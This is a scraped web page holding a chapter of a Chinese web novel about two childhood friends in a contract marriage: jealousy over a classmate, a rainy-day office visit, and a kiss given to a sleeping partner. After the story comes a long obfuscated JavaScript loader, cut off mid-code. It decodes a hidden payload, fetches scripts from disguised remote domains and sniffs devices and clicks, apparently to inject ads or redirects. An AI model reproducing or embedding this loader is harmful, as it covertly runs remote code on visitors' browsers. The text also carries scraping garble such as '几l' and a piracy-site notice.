第 35 章 晋江独家发表(1 / 1)

绍熠随当天下午缠着他一觉睡到将近凌晨,而闻繁可能也是去港城这趟有些累了,睡得比绍熠随还踏实。

他再次睁开眼睛的时候,绍熠随已经醒了,躺在他旁边伸手把玩他的头发,还给他发顶扎了个小麻花辫。

闻繁打了个克制的哈欠,拍掉他的手,鼻音很重的小声嘟哝了一句:“无聊。”

绍熠随不觉得无聊,刚被打下去就从另一个方向绕上来,继续玩他的头发。

闻繁没再拍他的手,眨了眨眼睛,眨掉了刚睡醒时艰涩的困意。

然后伸手覆上绍熠随的额头,发现体温已经恢复了正常。

“不烫了。”闻繁说。

绍熠随:“嗯。”

男人好像对他的头发很感兴趣,修长的手指一直在他发间穿梭,闻繁好脾气,拍了他一次也就由着他了,开始嘀咕着闲聊。

“这次去港城见到的那个学生很有天赋,他才八岁,他弹的那些曲子,我八岁的时候都还没接触过。”

绍熠随给他编完最后一个小麻花辫,把他抱进怀里,看着他说道:“你八岁的时候也拿过很多奖,教你的钢琴老师也夸过你是很有天赋的小孩。”

闻繁听到这话扑哧笑了声:“我怎么不记得。”

“因为那个时候你太小了,不记事。”

闻繁眼睛弯弯的:“那就当你说的是真的了。”

绍熠随应了声,然后突然道:“繁繁,看这里。”

闻繁没反应过来:“嗯?”刚抬起眼,面前就怼着一个黑洞洞的手机,咔嚓一声。

绍熠随给他拍了一张照片。

“干嘛?”

他伸手去够手机,绍熠随倒也不躲,低笑着拿给他看。

闻繁看了一眼就抬起手摸向了自己的头顶:“你怎么给我扎了那么多辫子!”

“别拆,可爱。”

照片上的人身上还穿着回来时那一件纯白宽松的T恤,被拢在深灰色的被间,脸上还带着睡了很久的浅粉色红晕,加上一头顶歪七扭八的小辫子,的确是可爱。

也漂亮。

绍熠随看的几l乎有些发痴,那些半藏半掩囫囵吞顶在心头的爱意又要不听话了。

他的眼神越来越温。

闻繁把小辫子拆了,变成了微弯的卷发,和床头放着的小羊说不出的像。

他自己拆着拆着也笑了:“前几l天我在港城碰到了齐亿,他和大学时比起来变化特别大,我印象最深刻的就是他的小泰迪卷,很漂亮,要不我也去烫一下?”

绍熠随的注意都在闻繁身上,只听到了他说烫卷发,心里已经在想着青年卷卷的头发有多好玩多漂亮,甚至还起了心思想要不要明天就请一个造型师过来给闻繁烫头发。

好一会才注意到他话里的另一个人:“齐亿是谁?”

闻繁:“我大学时的班长,你以前见过的呀,还不止一次。”他顿了一下笑道:“金池的周经理

没和你说吗?我和几l个在港城的同学过去的,

就是齐亿攒的局,

这次很巧,和我一块的指导老师也和我们是同学,所以才去的。”

绍熠随心头突兀的一停。

金池的周经理当然说了他们聚会的事,但绍熠随不知道的是,那个几l次在他和闻繁通话中露脸出现的指导老师是闻繁的大学同学。

那几l天想人想的焦躁发疯的状态似乎又要席卷他。

自从他知道自己对闻繁的心思以后,连带着对闻繁身边人的心思都更容易感知了,也或者说是情敌和情敌之间的磁场,不管那个人装的有多人畜无害有礼有涵养,绍熠随都感觉的出来他的心思。

哪怕隔着一个屏幕,隔着云城和港城的八百九十七公里。

他问:“你那个同学,他叫什么名字?”

闻繁:“你说谢晗?其实我和他不是很熟,大学时我们基本没见过面,他经常在国外,当时如果不是他自己多介绍了几l句,我根本认不出来。”

闻繁完全没印象的人却能一眼认出他。

绍熠随更确定这个谢晗心思没那么简单了。

哪怕再理智的告诉自己闻繁的态度才更重要,他也依然控制不住自己心底翻腾的醋意和嫉妒。

他居然放任这么一个人和闻繁相处了五天?

还联弹?联弹个屁。

他控制了片刻,还是没控制住,把闻繁摁进怀里,开口时说话都含着股咬牙切齿的醋味儿:“这个谢晗好像还不错,金池的周经理和我提过一嘴,你和他在琴行指导学生这些天,相处得怎么样?”

闻繁很

灵敏的品出点酸意。

好笑的看着他:“能怎么样啊,他对学生挺有耐心的,我们合作很愉快,没了。”

男人大概自以为自己打翻的醋缸子藏的很好,还想试探。

闻繁抬手捏住他两边脸:“你烧刚退下去,能不能少操点心,胡思乱想什么呢,你今晚不要睡觉了?”

“不睡了。”

闻繁从他怀里挣出来下床:“生个病到头来还得调你昼夜颠倒的生物钟,不要,睡不着也得睡。”

绍熠随没抓住,让人一溜烟跑进了浴室。

这一晚上闻繁当然没陪绍熠随熬大夜掰扯谢晗怎么怎么样,他虽然没能成功回自己的房间,但也逼着绍熠随在凌晨三点又一次进入了梦境。

代价还不小呢,给人讲了三个老掉牙的童话故事才哄好。

之后几l天绍熠随没再像之前一样断断续续的发烧了,好像他回来比药比医生还管用,不仅不生病,绍熠随脾气都很少发。

秦秘书天天春光灿烂,就差挂鞭炮普天同庆了,有一次闻繁去绍氏碰见他,本来不打算待多久的,硬是被热情的秦秘书拉着喝了杯他现磨的咖啡,还吃了好几l块甜点。

关键是这样了都没耽误秦秘书跑上跑下的工作,闻繁打心眼儿里觉得,绍熠随真该给秦秘书涨工资。

或许他下次可以和绍熠随建议一下。

这天工作日云城罕见的变了天,一直晴空万里的九月中下旬终于迎来了第一次大幅度降温,暴雨,闻繁琴行关门早,下午四点司机就来接他了。

外面大雨滂沱,闻繁半路让司机折返去了绍氏大楼。

一路雷声轰鸣,他不喜欢这种下雨天,而且也不知道是不是这二十多年成了习惯,绍熠随经常在打雷的大雨天陪着他,导致一下雨他就想去绍熠随身边待着。

闻繁到绍氏大楼后直接坐电梯上了三十九楼,没想到绍熠随不在办公室,闻繁脚步一转又下了三十八楼。

刚一出来,这一楼层的声音就此起彼伏。

“欸?繁哥?您怎么在这啊?”

“绍总没和您一块吗?”

“您什么时候过来的啊?”

闻繁一愣,问道:“他不在吗?”

“二十分钟前没下雨的时候绍总就走了。”

闻繁已经猜出来是个什么情况了,他和三十八楼的员工道别后回了绍熠随办公室,给他拨了通话过去。

忙音响了一瞬就接起来了。

“繁繁。”

闻繁闷笑问道:“你去哪了?”

绍熠随正要说话,就注意到闻繁左上方一晃而过的挂画边角,那是他办公室的挂画。

恰好这时秦秘书的车也停在了路边,外面大雨迷蒙,劈里啪啦的雨声连绵不绝,绍熠随从车窗上看到了早已关门暂停营业的琴行。

秦秘书的声音传来:“绍总,关门了,闻先生是回家了吗?”

雨下得更大了,天边炸响一声闷雷。

绍熠随对闻繁说:“你就在办公室里等我,我很快就到。”

闻繁:“不急,你让秦秘书开慢点。”

秦秘书打着方向盘:“您放心吧闻先生。”

今天这场雨下得突然,闻繁关门也关的突然,偏偏两个人都没问一句就去了,也不知道是有默契还是没默契。

绍熠随回来的时候闻繁正坐在沙发上看书,袖子半挽起来,露出了莹白纤细的手腕,看到他后立马放下书,起身走过去,没开始说话就先笑了。

绍熠随脱下外套挂在架子上,然后长臂一揽把人圈进怀里,认真检查了一番。

“来的时候没淋着吧?”

闻繁摇摇头:“出来的时候袖子湿了一点,不过现在已经干了。”

看怀里的人眉眼弯弯,绍熠随忍不住去捏他的脸。

“以后遇到这种天气就乖乖等着,我去接你,或者吩咐秦秘书去。”

闻繁笑着躲他的手:“现在的司机不也是你安排的么?一样的,我下次来的时候一定提前和你说,保证不让你扑空。”

手下的触感软滑细腻,绍熠随还没捏够人就躲开了,很不满意的挑了下眉。

下一秒,闻繁就被拦腰抱起,闻繁哪能想到他是这个动作,吓得一激灵,连忙抱住了绍熠随的脖子:“你干什么!”

绍熠随长胳膊

长腿,几l步就把他放到了沙发上。



?想看仗马写的《和竹马协议结婚后他弯了》第35章晋江独家发表吗?请记住.的域名?

闻繁伸手抵住他的肩膀笑道:“你有毛病,不工作吗?”

这话好像有毒,他刚说完秦秘书就进来了,看着沙发上的两个人很进退不得的为难了片刻。

大概是做了番心理斗争,也或者是时间不够了。

他语速飞快的说道:“绍总,五分钟后有个重要会议,十七楼。”

秦秘书实在心虚得很,又是十七楼,策划部那边最近触犯了天条,他们绍总一听就拧眉,他还偏偏是在这种关键时刻打断。

果然,抱到老婆的喜悦都被冲淡了,他们绍总硬邦邦扔过来一句:“知道了。”

秦秘书如获大赦,连忙滚出了办公室。

再次安静下来后,闻繁想往旁边挪挪,他说道:“你去吧,我看会书。”

“书比我还好看?”

绍熠随无理取闹的时候不要试图和他讲道理,闻繁深谙此道,立马放下书。

“当然不是,你不是要工作吗?我在办公室等你很无聊,看书打发时间而已。”闻繁伸手给他整整领口,温声道:“你早点处理完工作我们就能早点回家了。”

闻繁知道不能和他讲道理,当然也知道怎么哄他。

绍熠随语气果然跟着软了,用自己的脸蹭了蹭他的脸。

“再待一会。”

闻繁也放弃挣扎,任他抱着。

绍熠随掐着点抱了他四分钟,在秦秘书再次进来之前整了整衣袖出去了。

下午四点五十,绍熠随踩点进了会议室。

窗外雷声轰隆,暴雨倾盆,会议三十分钟。

五点二十,策划部重组的消息插上翅膀飞到了每个楼层。

三十八楼牛郎店。

暗夜侦察兵:肖公公果然被贬了,内网那边发了公告,他下半年要去西城任职了,西城啊,那是真鸟不拉屎的地方。

婚礼花童:繁哥这几l天回来了绍总心情不是一直很不错吗?怎么说贬就贬?

产粮大队总队长:快得了吧,肖公公被贬是他的福报,真以为绍氏是混吃等死的地方啊,没直接开了他才算是绍总心情好网开一面了。

白龙马:绍总心情不好归心情不好,肖公公业务能力垃圾归肖公公业务能力垃圾,二者无关联。

白龙马:且秦秘书那边小道消息说,绍总度假之前就敲定了新的总监人选,不过是看肖公公是老人,给他机会罢了,他要是做的还可以,这次可能只是降职,不至于被扔到西城,说到底是肖公公自己不争气。

大总管:少传谣言,赶紧工作,绍总上来了。

三十八楼员工看到消息立马放下手机,正襟危坐装模作样。

十分钟后。

大总管:绍总和闻先生回家了。

警报解除。

三十八楼员工不由得感叹:“有老婆的男人就是不一样。”

云城的这场雨

一下起来就是不停的架势,大概是入了秋要转凉了,痛痛快快的洗刷了云城长达五个月的高温。

秋雨寒凉,夜里也的确降了温。

动物比人的感知更灵敏,小宝今天怎么都不肯在自己的树洞里睡觉了,满别墅找闻繁,小宝声音又软又好听,闻繁哪舍得把它一直关在外面,听到声音就去开了门。

小家伙绕着他的腿打转。

闻繁把它抱起来,小宝顺势爬上了他的肩头,像个威风凛凛的小守护神。

他间歇性猫瘾发作,给小宝在床边放了个小垫子,打算让猫留在房间里,把绍熠随晚上要过来的事忘得一干二净。

洗了澡从浴室出来的时候,就看到一人一猫在他床前大眼瞪小眼。

小宝:“喵~”

?()?”

绍熠随先他一步阻止了他抱猫的动作,把他拉到另一边拢到自己怀里:“掉毛,别老抱它。”

然后从床头拿起一杯热牛奶递给他:“有助于睡眠,喝了再睡。”

看绍熠随没有对小宝睡在房间里表现出多大的意见,闻繁也就不说了,乖乖接过牛奶喝。

他喝一口,绍熠随的视线便在他唇上停留一刻。

闻繁很善解人意的递到他面前:“喝吗?”

“不喝。”

闻繁笑出声,轻抿了一口牛奶:“那你看我干嘛?我脸上又没字,刚洗完澡,很干净的。”

是很干净。

绍熠随不用特意靠近就能嗅到他身上清新香甜的栀子味,像是勾人的小爪子,挠的他心都痒了。

绯色饱满的唇上会挂上一小圈奶渍,而青年喝一口就会很认真

的舔掉,很快杯子见了底,闻繁找了纸巾轻轻擦了擦嘴巴,告诉他要去再刷个牙。

绍熠随忘记自己怎么回答了他,满脑子都是纷乱旖旎的画面。

一个一闪而过的恐怖想法是,他的繁繁,舔其他东西也会是这样认真的吗?

思及此,一直趴在垫子上的小宝喵了一声,绍熠随抬起眼,那只养的毛发蓬松顺滑的猫正睁着琥珀色的眼睛瞧他,绍熠随猛然有一种被撞破龌龊心事的尴尬,还有烦躁。

直到闻繁再次回来,在他身旁弯下腰去整理床单,那种萦绕的情绪才勉强被摁下去一些。

只不过看着青年纤细塌陷的腰,心事更龌龊了些而已。

心猿意马能杀人,而绍熠随心里那些早快要藏不住的爱意也一样,它作它的催化剂,绍熠随会死在云城下着倾盆大雨的午夜。

雷声轰隆,一声接着一声,比那个夜晚的声音还要大上几l分。

青年睡梦中钻进他的怀里,全然信任的抱着他的腰,绍熠随低头,不舍又怜爱的在闻繁额上亲了一下。

怀里的人什么都不知道,只把他抱得更紧。

多卑劣啊绍熠随。

不知过了多久,闻繁嘟哝了一句什么,似乎觉得有些

热,换了个方向平躺着,漂亮的面庞完全暴露在绍熠随眼前。

在这样昏暗的光线里,他依然看得痴了。

“繁繁……”

▌”

就是这个词,绍熠随突然想到了那一次,闻繁和他冷战后的第一次破冰,青年捧着他的脸,认真的注视着他,那种全然倾注爱意与关注的注视,让绍熠随浑身都在过电,那种难控的兴奋感和战栗感,和他说了这个词以后的感觉一模一样。

他的呼吸在加重,身体的反应也在告诉他他怎么了。

困了他那么久的问题都因为这三字得到了解答。

因为他爱他。

他爱闻繁。

“繁繁……我的繁繁……”

绍熠随将他抱紧,低声道:“可不可以给我一个答案。”

闻繁当然什么都不知道,梦里的树懒憨态可爱,抱着他怎么都不肯撒手,他觉得好笑,也伸手去回抱它。

小树懒像一个被洗的很干净的毛绒娃娃,香香的,可能还用了绍熠随的沐浴液,可能就是绍熠随帮小树懒洗的。

闻繁在它头顶上亲亲,在它脸颊上亲亲,还伸手去捏它的脸。

小树懒,真可爱。

后来小树懒可能被他亲烦了,闹了脾气,闻繁去哄它,它不听,还冲上来咬它的嘴巴,甚至连它的舌头都没放过。

闻繁梦里想,这个树懒的脾气真大。

这个离奇的梦一直断断续续的做到天亮,闻繁嘟囔了一句什么醒来了,身旁的绍熠随大概早就起床了,白色的衬衫整洁挺阔。

闻繁视线顿了一下,倒是很少见到绍熠随穿白色的衬衫。

不知是布料的问题还是颜色的问题,穿这件比平时的黑衬衫更显身材,男人领口解着两个扣子,颈骨凌厉向下延伸,不用扒开领口看,布料贴在胸口,结实的肌肉便若隐若现。

闻繁彻底醒了,看绍熠随在敲着电脑处理什么工作,说道:“起好早。”

绍熠随看过来:“睡不着。”

闻繁翻了个身,外面的天放了晴,雨后明亮灿烂的大太阳照着室内,温暖又舒适,他小小的伸了个懒腰,被子就被踢下去半截。

他也不拉,看了下时间还早,便朝绍熠随那边又滚了滚。

轻声道:“昨晚做了个好奇怪的梦。”

他不拉被子,绍熠随倒很勤快的帮他拉了起来。

“梦到什么了?”

闻繁抓着被子边回忆:“梦到一只树懒,很可爱,但脾气不太好,我多亲了两下它就生气了,还跑来咬我,咬了我的嘴巴。”

不知道是不是错觉,回忆到这里,闻繁又觉得嘴巴有点疼。

他郁闷的捂着嘴:“好奇怪的梦。”

所幸也只是梦,他也只郁闷了一小会,反倒是绍熠随一直不太对劲。

闻繁在心里留了点注意,但也没多问。

上午他到琴

行的时候接到了秦秘书的电话,听意思也是绍熠随不太对劲,想问问他是不是吵架了。

闻繁笑道:“当然没有,可能是没睡好,没事,我下班以后过去看看他。”

秦秘书又是千恩万谢:“真是辛苦您了闻先生,总喊您过来。”

闻繁听了这话只是笑,又闲聊了两句后就挂了。

秦秘书松了口气,在群里发:警报解除。

产粮大队总队长:大总管威武。

暗夜侦察兵:我怎么说来着,我就说看着不像吵架吧,我觉得是那种很少儿不宜不能给未成年人播的那种理由。

白龙马:像是欲求不满。

婚礼花童:臣附议。

绍总的20CM:老夫老妻的把戏。

大总管:别老在背后非议老板,脚踏实地工作才是正道,警告解除了,都去搬砖。

白龙马:我们是绑在一根绳上的蚂蚱。

暗夜侦察兵:过河拆桥背叛组织要遭报应的秦公公。

秦秘书看着群里的消息,抬头看了看工位上几l个瞧着二郎腿各自摸鱼的,恨铁不成钢的一人指了一下。

最靠窗户的隐蔽位置上坐着一个黑发长发的漂亮女孩,她靠着椅子瞥了眼秦秘书,表情无波无澜,很淡定的继续画图。

秦秘书都不用走过去就知道她在干什么,毕竟这位电脑上的CSP经常上演他们绍总和闻先生的十八x大战。

秦秘书装模做样的咳了一声,目的是为了提醒这几l个摸鱼摸的醉生梦死的,结果不知道是哪位嘴巴有毒的奶了他一口,他刚“背叛组织”,手机就响了。

上面大大两个字:绍总。

秦秘书倒吸一口凉气,边接起来边脚下生风的往三十九楼赶去。

都到办公室门口了才听清上司指挥:黎蒋的饭局推后几l天。

秦秘书:“……”

“好的,我现在去联系黎总。”

绍熠随心里的憋闷和烦躁无处排解,椅子转向身后的大落地玻璃窗,看着云城CBD繁华的景色,又开始一条一条撕烟纸。

但烟纸也没撕几l圈就烦躁的扔了,烟丝散落一地。

他拧着眉闭上了眼睛,一只手撑着额头用力按着太阳穴,试图把自己那些肮脏龌龊的心思都甩出去。

只是反复几l次都无果。

经历昨晚那样的情形,绍熠随发现了一个很糟糕的事实,他好像控制不住自己了。

去港城参加拍卖会那次,他只是吻了闻繁的额头,很克制的一次,回云城的那夜,他浅尝辄止的吻了闻繁的唇,不能算克制,但也没有太逾距。

而昨晚不同,他像疯了一样。

……

对,绍熠随,你就是疯了。

这边闻繁刚和秦秘书说了再见就接到了另一个人的电话,谢晗。

闻繁接了起来,对面低沉柔和的嗓音传了过来:“在忙吗?”

闻繁:“不忙,有

事吗?”

谢晗笑道:“我回云城了,打算过两天去拜访一下韩教授,大四那年韩教授帮我在国内跑了很多麻烦的手续,一直没正式的感谢过他。”

闻繁听到这话礼貌的笑着说:“可以啊,韩教授是个德高望重的好教授,很多同学毕业后都回去看过他。”

谢晗:“你这么一说,我想起前几l天我和韩教授通话时他还提到了你,一直和我夸你,说你是个有天赋的好苗子,还说你毕业后经常回去看他,我们通电话一个小时,半个小时他都在夸你,想来韩教授在你毕业前就很喜欢你了。”

闻繁也知道韩教授的性格,在云大上他课的那个学期,被他拉着去看了无数演奏,逢认识的人就要夸他几l句,老教授确实是喜欢他,他也很喜欢那个幽默风趣的小老头。

“韩教授待学生如亲生,每个同学他都喜欢,大家也很喜欢他。”

谢晗半玩笑道:“那倒是,不过韩教授也托我问了,他要我问你什么时候才能想起他这个老头,才能想起回去再看他一眼。”

闻繁一愣。

还没回答,谢晗就替他出好了打算:“这次我回来也是专程来看韩教授的,时间定在了中秋节后,你若是也想去,我们可以一起,韩教授应该会很高兴。”

本来是叙旧式的闲聊,谢晗这句话一出,瞬间变成了一个私人的邀请。

空气里很安静,等着闻繁的回答。

他顿了顿,确实是打算中秋前后去一次的,谢晗的这些话也没有不妥的地方。

他说:“好啊。”!

!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD 